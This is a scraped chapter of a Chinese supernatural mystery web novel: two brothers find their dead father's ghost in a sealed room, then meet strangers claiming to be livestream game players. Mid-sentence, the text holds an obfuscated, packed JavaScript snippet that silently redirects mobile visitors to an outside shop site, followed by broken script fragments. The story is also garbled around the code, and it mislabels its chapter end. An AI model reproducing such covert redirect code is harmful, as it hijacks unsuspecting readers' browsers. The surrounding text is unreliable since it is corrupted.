文趣网 > 其他小说 > 一家三口,两座坟 > 5. 第 5 章
    陈汐穆的手按在那件病号服的胸口位置,维持了很久。

    陈墨穆蹲下来,把他手轻轻拿开,自己把手放了上去。掌心贴上去的瞬间,他感觉到了。确实在动。很轻的、很缓慢的起伏,隔着一层薄薄的布料传上来,带着一点温热。那温度和人体的温度几乎一模一样。

    他收回了手,看着那件平整铺在地上的病号服,没有说话。

    陈汐穆蹲在对面,和他隔着那件衣服对视:“哥,这衣服是活的?”

    “不知道。”

    “要掀开吗?”

    陈墨穆看着那件衣服的轮廓。它只是平平地躺在地上,除了胸口那个位置在规律地起伏之外,没有任何其他异常。它的袖子是空的,领口是空的,像是一件刚从衣架上取下来的衣服,只是被某种看不见的东西撑出了形状。

    “先不掀。”陈墨穆站起来。

    他转过身,重新审视这个房间。四面白墙,灰色地板,头顶惨白的灯管,以及天花板上的那些照片。他走到一面墙前面,伸手敲了敲。实心的。他又敲了敲另一面,也是实的。房间没有窗户,没有门。

    “我们怎么进来的?”他问。

    陈汐穆还蹲在原地,没有抬头:“裂了一条缝,走进来的。”

    “缝在哪面墙?”

    陈汐穆站起来转了一圈,环顾四面墙:“没有了。”

    和之前一样。他们走进来的通道,在身后自动消失了。

    陈墨穆走到房间正中央,仰头看着天花板。密密麻麻的父亲的照片,每隔几厘米就有一张,大小一致,排布整齐,像是有人用了很长的时间精心贴上去的。贴到中央那块空白的时候,停了。那块空白的轮廓确实是人的形状——头部、肩膀、躯干、四肢,从头到脚一个完整的人形缺口。

    而那个人形缺口正下方,就是地上那件蓝白条纹病号服。

    他蹲下去,重新看着那件衣服。这次他注意到一个细节——衣服的肩膀位置有一块颜色比别处深一些,像是被什么液体浸过又干了。他凑近了闻,什么味道都没有。他伸手摸了一下那块深色的位置,布料比旁边硬,像是浆过的。

    “汐穆,你过来看。”

    陈汐穆走过来蹲下,顺着他的手指看了那块深色痕迹:“……是血吗?”

    “不确定。干了太久了。”

    “十年前的东西?”

    “可能是。”

    陈墨穆站起来,走到墙边。他从口袋里掏出手机,打开手电筒,沿着四面墙的接缝处仔细照了一圈。他在西南角的墙根处停住了——那里的墙面有一道极其细微的裂纹,从地板往上大概二十厘米长,细得像头发丝。他蹲下去,把手机凑近了,光照进那道缝里。缝隙深处有什么东西反了一下光,像是金属。

    他把手机放在地上,用手沿着那道裂纹的边缘按了按。墙面微微松动了一下,他用指甲抠住边缘,把那块墙皮整个揭了下来。墙皮后面藏着一个铁质的小盒子,巴掌大,上面盖了一层灰。他拿起来吹了吹,盒子表面是一层薄锈,锁扣已经锈死了,但用力一掰就开了。

    里面有一张纸条。他展开。

    和之前每一张纸条不同——这一张的字迹不是父亲的,是陈墨穆自己的。

    “墨穆,如果你看到这张纸条,说明你走到第二层了。这层叫告别,你要记住一件事——告别不一定是坏事。你告别的那些东西,可能只是想让你往前走。”

    陈墨穆看着那行字,手指攥着纸条,指腹反复摩擦着字迹的凹痕。这是他的字。他认得出。但他不记得自己写过。

    “……这是我写的?”陈汐穆凑过来看了一眼。

    陈墨穆摇头:“我不记得。”

    他把纸条翻过来,背面还有一行更小的字,同样是他自己的笔迹:“你还有三十分钟。三十分钟之后,第二层会关闭。你要决定——是带着他一起走,还是把他留在这里。”

    陈墨穆看着“他”这个字,低头看了一眼地上那件蓝白条纹病号服。

    “什么叫带着他一起走?”陈汐穆问。

    话音落下的瞬间,地上的病号服动了。那件衣服的肩膀和领口的位置开始慢慢鼓起来,像是有什么东西从底下一寸一寸地往上顶。先是领口被撑开了一点,然后袖子从地面抬起来了,软塌塌地悬在空气里,像是一具看不见的身体正穿着它坐起来。

    陈墨穆退后半步,把陈汐穆往后拉了一下。

    那件病号服彻底竖起来了。领口立着,袖子垂在两侧,那件衣服就像一个坐着的人,面朝着他们的方向。然后它的领口处开始出现变化——像是有什么东西在布料底下慢慢勾勒出一张脸的轮廓。看不见颜色,只是轮廓,额头、鼻梁、下颌,一点一点浮现出来,像是有人在布料里面用手从内部往外推。

    轮廓清晰到能看清五官的时候,陈墨穆听到了呼吸声。很浅很浅的呼吸,从领口的方向传出来。

    然后那个轮廓动了。它微微偏了一下头,像是在看他们。紧接着有一只手从袖子里伸了出来。那是一只真实的手——有皮肤,有指甲,有骨节,只是是半透明的,像是冰做的人形。那只手慢慢地抬起来,伸向陈墨穆的方向,指尖停在他面前不到一拳的位置。

    没有碰到他。只是停在那儿。

    “哥……”陈汐穆的声音从身后传来,压得很低,“那是不是爸的手?”

    陈墨穆看着那只半透明的手。他认出了无名指侧面一道旧疤的形状。小时候父亲切菜的时候划伤的,留下了很浅的一条白印。那只手上也有。同一条白印,同一个位置。

    “是他。”他说。

    他伸出手,慢慢地把自己的手靠近那只手。指尖隔着不到一厘米的距离相抵的时候,他感觉到了一种很微弱的温度,凉凉的,像是刚从冰箱里拿出来的玻璃杯表面。

    那只手动了动指尖,像是在回应他。

    然后声音从领口的方向传出来。被布料闷着,像隔了一层布在说话,但那个音色和语调——是父亲。

    “墨穆。”

    “你走到第二层了。”

    那只半透明的手轻轻落下,搭在了陈墨穆的手背上。触感很轻,轻到像是只有一阵风压在了他皮肤上。“这一层叫告别。你要告别的不只是我,还有你身上那些——不该带到下面去的东西。”

    “什么东西?”

    父亲的声音沉默了一会儿。那件衣服的轮廓微微动了一下,像是叹了口气。“你口袋里的那把钥匙,拿出来。”

    陈墨穆从口袋里掏出那把铁质的旧钥匙。他把钥匙握在掌心里,手心里那阵凉意更明显了。“把它放回盒子里。”父亲的声音说,“第二层是告别。告别这把钥匙。你不需要它了。”

    “没有钥匙怎么开门?”

    “你走到第三层的时候,会有新的门。但你必须先放下这把钥匙。它只能带你们到这一层。带着它下去……你们会走错方向。”

    陈墨穆看着掌心里那把钥匙。铁质的,旧的,上面还刻着他的名字。他握着它,站了很久。

    “爸。”他开口,“你在哪儿?”

    那件衣服的轮廓微微晃动了一下,像是一个人被风吹了一下。“我在你们要找的地方。但不在第二层,也不在第三层。我现在还不能让你们看到我。如果你们看到了,你们就不想往前走了。”声音停了一下,带着一点很薄的笑意,“因为我的样子不好看。”

    陈墨穆看着那只半透明的手慢慢从他手背上滑落,垂回了袖口的位置。那件衣服的轮廓开始变淡了,像是有人把一幅画上的人像慢慢擦掉,从边缘开始往中间收。先是肩膀的轮廓模糊了,然后是袖子,然后是领口。最后只剩下那件蓝白条纹病号服,平平地躺在地上。

    好像什么都没有发生过。

    地上多了两样东西,在那件衣服原来放着的位置。一把钥匙和一张照片。钥匙就是他那把旧的,但钥匙旁边多了一张新拍的照片——照片上,陈墨穆和陈汐穆并排站着,面前是疯人院的大铁门,门开着。他们的身后站着一个模糊的影子。影子穿着白大褂。

    陈墨穆把钥匙和照片收起来。

    他走到那个铁盒子前面,把钥匙放了进去,然后把铁盒子盖好,重新塞回墙缝里,把墙皮拼回去。墙面恢复成了完好无损的样子。

    他站起来,转头看着陈汐穆。陈汐穆一直站在他身后,没有出声,但他看到陈汐穆的眼眶是红的,但没有眼泪。他们之间什么都没说。

    房间正中央的那面墙开始出现变化。白色的墙面上慢慢浮现出一条竖线,从天花板一直延伸到地面,像是有人用看不见的笔在墙面上画了一道。然后那道线裂开了,向两侧退去,露出了门后的场景——一条更宽的走廊。墙壁是灰色的,地面是深色的木地板,像是一间旧房子的内部。走廊尽头有一扇半开的门,门缝里透出来亮光。

    他走向那扇门。陈汐穆跟上来。

    他们走到门口的时候,听到门里面有声音。很多人声。嘈杂的、交谈的、脚步来回走动的。门缝里的光也在变化,忽明忽暗的,像有人影在灯光前面走动。

    陈墨穆推开门。

    门的另一侧,是一个大厅。很宽敞,灯光很亮,墙上贴着壁纸,地面铺着地毯。几张沙发围着一张茶几,茶几上放着水果和茶杯。几个人坐在沙发上,有男有女,看起来都是二十几岁的年轻人。他们看到陈墨穆推门进来,同时抬起了头。

    其中有一个人先开口了,声音带着一种网络主播才有的利落和自信:“陈院长!我们来了。”

    陈墨穆站在门口没有动。

    他转头看了一眼身后的门——门外的走廊已经不见了。他站在一个完全陌生的房间里,面前坐着四个他不认识的人。沙发上的一个女生举起手机晃了晃,屏幕上亮着的是直播间界面,正在直播,在线人数显示六十多万。

    “直播没断。”她笑着说,“观众都在等你们呢。”

    陈墨穆看着她,又看了一眼沙发上的另外三个人。一个戴眼镜的男生,手里拿着笔记本和笔,像是来记东西的。一个穿着格子衬衫的男生,翘着腿在吃水果。还有一个穿黑外套的女生,没有看他,一直低头在看手机。

    “你们是谁?”陈墨穆问。

    坐在正中央的那个主播站了起来,朝他伸出手:“我们是第二家园招募的第一批玩家啊。不是你发的邀请函吗?‘第二家园·真人密室逃脱·线□□验招募’,你自己写的文案,忘了?”

    陈墨穆没有握她的手。他没有发过什么邀请函。但那个主播的手机屏幕上,直播间后台的消息栏

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731733|208966||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    里,确实有一条已读的系统通知。发件人写着“第二家园官方账号”,内容是:

    “欢迎各位玩家。请于今日22:00前抵达二楼大厅。”

    “第一组玩家已成功入场。”

    时间戳——十分钟前。

    陈汐穆从陈墨穆身后探出半个身子,看了一眼沙发上坐着的几个人,又缩了回去,在他耳边小声说了一句:“哥,这几个人……你认识吗?”

    陈墨穆摇头。

    但那个戴眼镜的男生放下笔记本,推了推眼镜,看着他的目光很认真:“陈院长,你不记得我了吗?”

    “我应该记得你吗?”

    眼镜男生笑了一下:“我是你大学同学。大三的时候我们一起做过课题。你忘了?”

    陈墨穆看着他的脸,搜遍了记忆,没有任何印象。

    那个主播端着茶杯喝了一口,笑容很自然:“陈院长,别紧张。这本来就是你设计的游戏嘛。第二家园十层密室,第一组玩家进来体验。你自己写的规则——玩家入场后,院长需要引导通关。怎么,剧本忘啦?”

    陈墨穆站在大厅中央,身边的陈汐穆靠着他站着,安静得不像个疯子。

    他看着面前这四个人,看着他们脸上的笑容,看着那个还在跳动的直播间,看着茶几上冒着热气的茶水。一切都太自然了。自然到像是排练过很多遍。

    但他记得很清楚——他没有写过任何邀请函。第二家园从来没有招募过玩家。

    他们是谁?

    怎么进来的?

    为什么父亲的第二层,会出现四个陌生人?

    他正想开口问的时候,身后那扇他刚走进来的门,缓缓关上了。砰的一声,很轻,但很清晰。

    然后门板上慢慢浮现出一行字:

    “第二层·告别。告别什么?告别你们的第三个人。”

    陈墨穆看着那行字。

    第三个人。

    他数了数:他、陈汐穆、父亲。

    三个人。

    但房间里现在有七个人。

    第四章·完

    ---

    章末钩子:

    陈墨穆的视线从门板上那行字慢慢移开,落在沙发上那个自称是他大学同学的眼镜男生身上。

    眼镜男生正在笑。但那个笑容在陈墨穆看向他的时候,停顿了一下,然后收了回去。他低下头翻笔记本。

    坐在他旁边的格子衬衫男生放下手里的水果,站起来,走到陈墨穆面前,伸手:“我叫周野。游戏体验官。您是院长,我听说过您,您比照片上年轻。”

    陈墨穆没有握他的手:“谁让你们来的?”

    周野愣了一下,转头看了一眼主播,像是求助。主播放下茶杯站起来,朝他笑了笑:“院长,你确实忘了。邀请函是你三天前发的,后台有记录。不信你看——”

    她把自己的手机递过来,屏幕上是第二家园官方账号的后台界面,发件箱里确实有一条已发送的群发消息。发送时间是三天前。署名是“第二家园管理处”,联系人写着“陈院长”。

    陈墨穆接过她的手机,盯着那行字看了三秒。然后他点进账号后台的详情页。账号的注册信息栏里,绑定的手机号不是他的。那个号码他只见过一次。

    父亲的旧号码。停机了十年的那个。

    他把手机还给主播,没有解释。他转过身,走回陈汐穆身边,声音压低到只有两个人能听见:“汐穆,直播间没有断过。”

    “我知道。”

    “他们进来之前,弹幕有没有变过?”

    陈汐穆从口袋里摸出自己的手机——他的手机是从入院起就没被收走的。他翻进直播间后台,看了一眼弹幕记录。刷得很快,大部分都在刷“新玩家入场了”“卧槽真的有别人”“院长和弟弟不在线?”

    但陈汐穆翻到十分钟之前,有一条弹幕被置顶了,是官方账号发的,在玩家入场之前就存在了。内容是:

    “第二层有第四个人。别让他出来。”

    陈汐穆把手机给陈墨穆看。

    陈墨穆看完那条弹幕,再抬头扫了一眼大厅。四个人。主播、眼镜、格子衬衫、黑外套。四个人。

    “第四个人”是谁?还是多出来的那个,现在已经混进来了。

    他正想着,黑外套女生突然抬起头。她全程没说过话,这是第一次正眼看他。她的眼神很平,像是看穿了他一样。

    她从口袋里掏出一张纸条,朝陈墨穆递过来:“楼下那个人让我给你的。”

    陈墨穆接过来。纸条上的字是新的,墨还没干透:

    “别相信他们说的话。”

    “看看他们的影子。”

    陈墨穆低头看向地面的光线。大厅灯光从头顶打下来,在地毯上投出所有人的影子。四个人,四道影子。

    但他数了数。

    地上有六道影子。

    三道正常的、人形的。一道扭曲的、不成形状的。两道重叠在一起的,像是一个人被夹在另一个人身体里面。

    陈墨穆猛地抬头。

    沙发上的四个人,只有三个在正常地笑着。

    眼镜男生的影子,正在缓慢地、静默地,从他的脚底下生长出来,朝旁边的黑外套女生延伸过去。